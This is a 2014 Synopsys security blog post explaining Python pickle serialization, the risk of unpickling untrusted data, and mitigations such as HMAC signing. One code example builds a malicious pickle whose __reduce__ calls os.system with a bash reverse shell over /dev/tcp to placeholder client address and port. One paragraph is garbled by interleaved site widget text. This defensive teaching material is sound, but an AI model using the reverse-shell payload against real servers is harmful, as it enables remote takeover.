« Previous: Are you red team secure? (https://www.synopsys.com/blogs/software-security/red-team-secure/)
Next: How to fix cross-site scripting:... (https://www.synopsys.com/blogs/software-security/prevent-cross-site-scripting-java/) »

Understanding Python pickling and how to use it securely

Posted by Ashutosh Agrawal (https://www.synopsys.com/blogs/software-security/author/aagrawal/) on Tuesday, November 18th, 2014

In Python, you can use pickle to serialize (deserialize) an object structure into (from) a byte stream. Here are best practices for secure Python pickling.

By Ashutosh Agrawal, senior consultant, and Arvind Balaji, associate consultant, Synopsys

Pickle in Python is primarily used in serializing and deserializing a Python object structure (https://wiki.python.org/moin/UsingPickle). In other words, it's the process of converting a Python object into a byte stream to store it in a file/database, maintain program state across sessions, or transport data over the network. The pickled byte stream can be used to re-create the original object hierarchy by unpickling the stream. This whole process is similar to object serialization in Java or .Net.

When a byte stream is unpickled, the pickle module creates an instance of the original object first and then populates the instance with the correct data. To achieve this, the byte stream contains only the data specific to the original object instance. But having just the data alone may not be sufficient. To successfully unpickle the object, the pickled byte stream contains instructions to the unpickler to reconstruct the original object structure along with instruction operands, which help in populating the object structure.

(https://www.synopsys.com/software-integrity/resources/ebooks/cisos-bad-day.html?intcmp=sig-blog-cisoday)

According to the pickle module documentation, the following types can be pickled:

- None, true, and false
- Integers, long integers, floating point numbers, complex numbers
- Normal and Unicode strings
- Tuples, lists, sets, and dictionaries containing only picklable objects
- Functions defined at the top level of a module
- Built-in functions defined at the top level of a module
- Classes that are defined at the top level of a module

Pickle allows different objects to declare how they should be pickled using the __reduce__ method. Whenever an object is pickled, the __reduce__ method defined by it gets called. This method returns either a string, which may represent the name of a Python global, or a tuple describing how to reconstruct this object when unpickling.

Generally the tuple consists of two arguments:

- A callable (which in most cases would be the name of the class to call)
- Arguments to be passed to the above callable

The pickle library will pickle each component of the tuple separately, and will call the callable on the provided arguments to construct the new object during the process of unpickling.

Dangers of Python pickling

Since there are no effective ways to verify the pickle stream being unpic How can we help you today? us ode as input, causing remote code execution. The most common attack sce st kle data received over the network. If the connection is unencrypted, the pickle received could have also been modified on the wire. Another attack scenario is when an attacker can access and modify the stored pickle files from caches, file systems, or databases.

The following example code demonstrates a simple client server program. The server connects to a particular port and waits for client to send data. Once it receives the data, it unpickles it.

```
conn,addr = self.receiver_socket.accept()
data = conn.recv(1024)
return cPickle.loads(data)
```

If the client is not trusted, an attacker can get remote code to execute on the server and gain access to it.

```
class Shell_code(object):
  def __reduce__(self):
          return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
shell = cPickle.dumps(Shell_code())
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('Server IP','Server PORT'))
client_socket.send(shell)
```

Best practices in pickle

The pickle module is not inherently insecure. The following best practices allow safe implementation of pickle.

- An untrusted client or an untrusted server can cause remote code execution. Thus pickle should never be used between unknown parties.
- Ensure the parties exchanging pickle have an encrypted network connection. This prevents alteration or replay of data on the wire.
- If having a secure connection is not possible, any alteration in pickle can be verified by using a cryptographic signature (http://searchsecurity.techtarget.com/definition/digital-signature). Pickle can be signed before storage or transmission, and its signature can be verified before loading it on the receiver side.
- In scenarios where the pickle data is stored, review file system permissions and ensure protected access to the data.

The following example code demonstrates cryptographic signature and verification. The cryptographic signature, as mentioned above, helps in detecting any alteration of pickled data. The client uses HMAC to sign the data. It sends the digest value along with the pickled data to the server as shown below.

```
pickled_data = pickle.dumps(data)
digest =  hmac.new('shared-key', pickled_data, hashlib.sha1).hexdigest()
header = '%s' % (digest)
conn.send(header + ' ' + pickled_data)
```

The server receives the data, computes the digest, and verifies it with the one that was sent.

```
conn,addr = self.receiver_socket.accept()
data = conn.recv(1024)
recvd_digest, pickled_data = data.split(' ')
new_digest = hmac.new('shared-key', pickled_data, hashlib.sha1).hexdigest()
if recvd_digest != new_digest:
    print 'Integrity check failed'
else:
    unpickled_data = pickle.loads(pickled_data)
```

Securing Python Web Applications online course (https://www.synopsys.com/software-integrity

This post is filed under Developer Enablement (https://www.synopsys.com/blogs/software-security/category/developer-enablement/).

More by this author

September 28, 2016

3 ways that AppSec training benefits your long-term security strategy (https://www.synopsys.com/blogs/software-security/3-benefits-security-training-strategy/)

February 18, 2016

3 common mistakes companies make when st y
initiative (https://www.synopsys.com/blogs/sc -
security-initiative-mistakes/)

BE THE FIRST TO KNOW

Don’t miss the latest AppSec news and trends every Friday.

Subscribe to the blog (https://www.synopsys.com/blogs/software-security/subscribe/?intcmp

SYNOPSYS BSIMM 10
Navigate the evolution of your software security initiative.
Get the report

(https://www.bsimm.com/download.html?intcmp=sig-blog-bsimm-rightrail)

CATEGORIES

Agile, CI/CD & DevOps (https://www.synopsys.com/blogs/software-security/category/agile-ci-cd-devops/)

Application Security (https://www.synopsys.com/blogs/software-security/category/application-security/)

Automotive Cyber Security (https://www.synopsys.com/blogs/software-security/category/automotive-security/)

Cloud Security (https://www.synopsys.com/blogs/software-security/category/cloud-security/)

Container Security (https://www.synopsys.com/blogs/software-security/category/container-security/)

Data Breach Security (https://www.synopsys.com/blogs/software-security/category/data-breach/)

Developer Enablement (https://www.synopsys.com/blogs/software-sec nt/

Featured (https://www.synopsys.com/blogs/software-security/category

How can we help you today?

2

Financial Cyber Security (https://www.synopsys.com/blogs/software-security/category/financial-services-security/)

Fuzz Testing (https://www.synopsys.com/blogs/software-security/category/fuzz-testing/)

Healthcare Security & Privacy (https://www.synopsys.com/blogs/software-security/category/healthcare-security/)

Interactive Application Security Testing (IAST) (https://www.synopsys.com/blogs/software-security/category/interactive-application-security-testing-iast/)

IoT Security (https://www.synopsys.com/blogs/software-security/category/internet-of-things/)

Medical Device Security (https://www.synopsys.com/blogs/software-security/category/medical-devices-security/)

Mergers & Acquisitions (https://www.synopsys.com/blogs/software-security/category/mergers-acquisitions/)

Mobile App Security (https://www.synopsys.com/blogs/software-security/category/mobile-security/)

News & Announcements (https://www.synopsys.com/blogs/software-security/category/news-announcements/)

Open Source Security (https://www.synopsys.com/blogs/software-security/category/open-source-security/)

Security Training & Awareness (https://www.synopsys.com/blogs/software-security/category/training/)

Software Architecture & Design (https://www.synopsys.com/blogs/software-security/category/software-architecture-and-design/)

Software Compliance, Quality & Standards (https://www.synopsys.com/blogs/software-security/category/quality-compliance/)

Software Composition Analysis (SCA) (https://www.synopsys.com/blogs/software-security/category/software-composition-analysis/)

Software Security Program (https://www.synopsys.com/blogs/software-security/category/maturity-model-bsimm/)

Software Security Research (https://www.synopsys.com/blogs/software-security/category/software-security-research/)

Static Analysis (SAST) (https://www.synopsys.com/blogs/software-security/category/static-analysis-sast/)

Web Application Security (https://www.synopsys.com/blogs/software-security/category/web-application-security/)

Webinars (https://www.synopsys.com/blogs/software-security/category/webinars/)

(https://www.synopsys.com/)

PRODUCTS

Software Integrity (https://www.synopsys.com/software-integrity.html)

RESOURCES

Solutions

How can we help you today?

2

Services (https://www.synopsys.com/services.html)

Semiconductor IP (https://www.synopsys.com/designware-ip.html)

Verification (https://www.synopsys.com/verification.html)

Design (https://www.synopsys.com/implementation-and-signoff.html)

Silicon Engineering (https://www.synopsys.com/silicon.html)

LEGAL

Privacy (https://www.synopsys.com/company/legal/privacy-policy.html)

Trademarks & Brands (https://www.synopsys.com/company/legal/trademarks-brands.html)

Software Integrity (https://www.synopsys.com/company/legal/software-integrity.html)

Support (https://www.synopsys.com/support.html)

Community (https://www.synopsys.com/community.html)

Manage Subscriptions (https://www.synopsys.com/apps/subcenter/req1.php)

CORPORATE

About Us (https://www.synopsys.com/company.html)

Careers (https://www.synopsys.com/company/synopsys-careers.html)

Corporate Social Responsibility (https://www.synopsys.com/company/corporate-social-responsibility.html)

Investor Relations (https://www.synopsys.com/company/investor-relations.html)

Contact Us (https://www.synopsys.com/company/contact-synopsys.html)

FOLLOW

(https://twitter.com/synopsys) (https://www.linkedin.com/company/synopsys)

(https://www.facebook.com/Synopsys/) (https://www.youtube.com/user/synopsys)

How can we help you today?

2